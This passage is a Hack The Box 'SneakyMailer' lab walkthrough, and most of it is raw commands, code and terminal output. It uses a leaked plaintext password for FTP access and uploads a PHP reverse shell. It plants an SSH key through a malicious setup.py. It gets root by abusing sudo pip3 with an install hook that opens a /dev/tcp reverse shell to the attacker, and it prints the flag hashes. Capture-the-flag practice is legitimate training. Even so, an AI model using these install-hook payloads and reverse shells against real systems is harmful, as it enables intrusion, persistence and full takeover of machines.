enter creds for smtp server 10.10.10.197 and mail paulbyrd@sneakymailer.htb
then go to look sent items
we got the following items
mail 1:
1 2 3 4 5 6 7 8 9 10
发件人: Paul Byrd <paulbyrd@sneakymailer.htb> 收件人: low@debian 主题: Module testing 日期: Wed, 27 May 2020 13:28:58 -0400
Hello low
Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience.
mail 2:
1 2 3 4 5 6 7 8 9 10 11
发件人: Paul Byrd <paulbyrd@sneakymailer.htb> 收件人: root <root@debian> 主题: Password reset 日期: Fri, 15 May 2020 13:03:37 -0500 (2020年05月15日 14时03分37秒)
Hello administrator, I want to change this password for the developer account Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it
root@kali:~/hackthebox/machine/SneakyMailer# ftp 10.10.10.197 Connected to 10.10.10.197. 220 (vsFTPd 3.0.3) Name (10.10.10.197:root): developer 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxr-x 8 0 1001 4096 Jul 12 02:47 dev 226 Directory send OK. ftp> cd dev 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 May 26 19:52 css drwxr-xr-x 2 0 0 4096 May 26 19:52 img -rwxr-xr-x 1 0 0 13742 Jun 23 09:44 index.php drwxr-xr-x 3 0 0 4096 May 26 19:52 js drwxr-xr-x 2 0 0 4096 May 26 19:52 pypi drwxr-xr-x 4 0 0 4096 May 26 19:52 scss -rwxr-xr-x 1 0 0 26523 May 26 20:58 team.php drwxr-xr-x 8 0 0 4096 May 26 19:52 vendor 226 Directory send OK.
then upload the phpreverseshell to the dictionary
1 2 3 4 5 6
ftp> put shell.php local: shell.php remote: shell.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5492 bytes sent in 0.00 secs (59.5179 MB/s)
developer@sneakymailer:/tmp/mypkg$ scp root@10.10.14.4:/root/hackthebox/machine/SneakyMailer/.pypirc . <4.4:/root/hackthebox/machine/SneakyMailer/.pypirc . Could not create directory '/var/www/dev.sneakycorp.htb/.ssh'. The authenticity of host '10.10.14.4 (10.10.14.4)' can't be established. ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U. Are you sure you want to continue connecting (yes/no)? yes yes Failed to add the host to the list of known hosts (/var/www/dev.sneakycorp.htb/.ssh/known_hosts). root@10.10.14.4's password: 2525
try: with open("/home/low/.ssh/authorized_keys", "a") as f: f.write("\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMM20bpCOUwHR4+8hMegW7FanYYPdA6yJZ1OIniwUDXn root@kali") f.close() except Exception as e: pass setuptools.setup( name="example-pkg3", # Replace with your own username version="0.0.1", author="Example Author", author_email="author@example.com", description="A small example package", long_description="", long_description_content_type="text/markdown", url="https://github.com/pypa/sampleproject", packages=setuptools.find_packages(), classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], )
then use scp to transfer it:
1 2 3 4 5 6 7 8 9 10 11
developer@sneakymailer:/tmp/mypkg$ scp root@10.10.14.4:/root/hackthebox/machine/SneakyMailer/setup.py . <.4:/root/hackthebox/machine/SneakyMailer/setup.py . Could not create directory '/var/www/dev.sneakycorp.htb/.ssh'. The authenticity of host '10.10.14.4 (10.10.14.4)' can't be established. ECDSA key fingerprint is SHA256:TA8zjlhAspZEc/3WZjyWRQBxzPfwJXE2X98JsMGnz6U. Are you sure you want to continue connecting (yes/no)? yes yes Failed to add the host to the list of known hosts (/var/www/dev.sneakycorp.htb/.ssh/known_hosts). root@10.10.14.4's password: 2525
setup.py 100% 720 0.7KB/s 00:00
change HOME environment so that .pypirc can be used and run the setup.py:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105 low@sneakymailer:~$ id uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg) low@sneakymailer:~$ whoami low
then we got user.txt
1 2 3 4
low@sneakymailer:~$ ls user.txt venv low@sneakymailer:~$ cat user.txt 92d8adff6a2d3da02673a9fb6aa471a4
privilege esclation
run the following command
1 2 3 4 5 6 7
low@sneakymailer:~$ sudo -l sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3
let’s cd to /dev/shm, then create a python script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from setuptools import setup from setuptools.command.install import install import base64 import os class CustomInstall(install): def run(self): install.run(self) os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9002 0>&1'") setup( name='FakePip', version='0.0.1', description='This will exploit a sudoer able to /usr/bin/pip install *', url='https://github.com/0x00-0x00/fakepip', author='zc00l', author_email='andre.marques@esecurity.com.br', license='MIT', zip_safe=False, cmdclass={'install': CustomInstall})
run the following payload
1 2 3 4 5
low@sneakymailer:/dev/shm$ sudo /usr/bin/pip3 install . --upgrade --force-reinstall sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Processing /dev/shm Building wheels for collected packages: FakePip Running setup.py bdist_wheel for FakePip ... -
root@kali:~# nc -lvp 9002 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.197. Ncat: Connection from 10.10.10.197:40898. root@sneakymailer:/tmp/pip-req-build-ht66bwjk# id id uid=0(root) gid=0(root) groups=0(root) root@sneakymailer:/tmp/pip-req-build-ht66bwjk# whoami whoami root root@sneakymailer:/tmp/pip-req-build-ht66bwjk# cd /root cd /root root@sneakymailer:~# ls ls root.txt root@sneakymailer:~# cat root.txt cat root.txt 464554578c27d528fb9c5710ec3de868
